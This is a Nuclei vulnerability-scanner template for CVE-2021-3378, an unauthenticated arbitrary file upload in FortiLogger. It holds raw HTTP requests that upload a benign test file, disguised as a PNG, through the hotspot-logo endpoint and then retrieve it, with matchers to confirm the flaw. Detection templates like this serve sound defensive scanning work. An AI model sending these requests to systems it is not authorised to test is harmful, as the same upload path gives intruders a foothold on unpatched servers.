nuclei-templates/cves/2021/CVE-2021-3378.yaml

58 lines
1.5 KiB
YAML

id: CVE-2021-3378
info:
name: FortiLogger Unauthenticated Arbitrary File Upload
author: dwisiswant0
severity: critical
description: |
This template detects an unauthenticated arbitrary file upload
via insecure POST request. It has been tested on version 4.4.2.2 in
Windows 10 Enterprise.
reference:
- https://erberkan.github.io/2021/cve-2021-3378/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-3378
cwe-id: CWE-434
tags: cve,cve2021,fortilogger,fortigate,fortinet
requests:
- raw:
- |
POST /Config/SaveUploadedHotspotLogoFile HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS
Accept: application/json
Referer: {{BaseURL}}
Connection: close
X-Requested-With: XMLHttpRequest
------WebKitFormBoundarySHHbUsfCoxlX1bpS
Content-Disposition: form-data; name="file"; filename="poc.txt"
Content-Type: image/png
POC_TEST
------WebKitFormBoundarySHHbUsfCoxlX1bpS
- |
GET /Assets/temp/hotspot/img/logohotspot.txt HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "POC_TEST"
part: body
- type: word
words:
- "text/plain"
- "ASP.NET"
condition: and
part: header